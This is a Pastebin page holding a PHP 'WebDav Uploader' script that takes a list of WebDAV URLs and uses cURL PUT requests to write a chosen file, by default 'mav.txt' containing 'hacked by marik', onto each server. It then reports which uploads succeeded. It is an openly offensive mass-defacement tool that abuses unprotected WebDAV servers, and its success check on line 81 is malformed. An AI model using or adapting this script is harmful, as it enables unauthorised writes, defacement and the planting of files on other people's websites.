Advertisement
tobitaz

Webdav 2

Aug 21st, 2013 (edited)
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.79 KB | None | 0 0
  1. <center>
  2. <font style="font-size:40px;">WebDav Uploader</font>
  3. <?php
  4.  
  5. echo '<form action="" method="post">
  6.        Filename:<input name="nam" value="mav.txt"><br />
  7.        Text:<br />
  8.        <textarea name="isi" cols="50" rows="30">hacked by marik</textarea><br />
  9.        webdav url:<br />
  10.        <textarea name="wd" cols="50" rows="30">http://</textarea><br />
  11.        <input type="submit">
  12.        </form>';
  13.  
  14.  
  15.  
  16. $filename = $_POST["nam"];
  17. $url = $_POST["wd"];
  18. $isi = $_POST["isi"];
  19.  
  20. $wd = preg_split('/(\r?\n)+/', $_POST['wd']);
  21.       foreach($wd as $phc)
  22.    {
  23.  
  24. $taz = fopen("sementara.phc", "w+");
  25.           fwrite($taz, $isi);
  26.           fclose($taz);
  27.  
  28.  
  29.  
  30.  
  31.  
  32. // Prepare the file we are going to upload
  33. $filepath = "sementara.phc";
  34. $filesize = filesize($filepath);
  35. $fh = fopen($filepath, 'r');
  36.  
  37.  
  38.    
  39.  
  40.  
  41.  
  42. // The URL where we will upload to, this should be the exact path where the file
  43. // is going to be placed
  44. $remoteUrl = $phc;
  45.  
  46.  
  47. // Initialize cURL and set the options required for the upload. We use the remote
  48. // path we specified together with the filename. This will be the result of the
  49. // upload.
  50. $ch = curl_init($remoteUrl ."/". $filename);
  51.  
  52. // I'm setting each option individually so it's easier to debug them when
  53. // something goes wrong. When your configuration is done and working well
  54. // you can choose to use curl_setopt_array() instead.
  55.  
  56. // Set the authentication mode and login credentials
  57. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  58.  
  59.  
  60. // Define that we are going to upload a file, by setting CURLOPT_PUT we are
  61. // forced to set CURLOPT_INFILE and CURLOPT_INFILESIZE as well.
  62. curl_setopt($ch, CURLOPT_PUT, true);
  63. curl_setopt($ch, CURLOPT_INFILE, $fh);
  64. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  65. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  66. // Execute the request, upload the file
  67. $cek = curl_exec($ch);
  68.            curl_close($ch);
  69. if($url != null)
  70.  {
  71.    $cu = curl_init($phc."/".$filename);
  72.             curl_setopt($cu, CURLOPT_RETURNTRANSFER, true);
  73.             $res = curl_exec($cu);
  74.                        curl_close($cu);
  75.    
  76.  
  77.    $che = strripos($res, "403");
  78.    $che2 = strripos($res, "404");
  79.    $che3 = strripos($res, "method not allowed");
  80.    $che4 = strripos($res, "403.3");
  81.   if($che && $che2 && $che3 && $che4 === false)
  82.    {
  83.     if($cek === false)
  84.          {
  85.            echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[failed]<br />";
  86.           }
  87.          else
  88.          {
  89.            echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[uploaded]<br />";
  90.          }
  91.     }
  92.   else
  93.    {
  94.      echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[failed]<br />";
  95.     }
  96.  }
  97.  else
  98.   {
  99.   }
  100.  
  101.  
  102. // Close the file handle
  103. fclose($fh);
  104. }
  105.  
  106. unlink("sementara.phc");
  107.  
  108. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement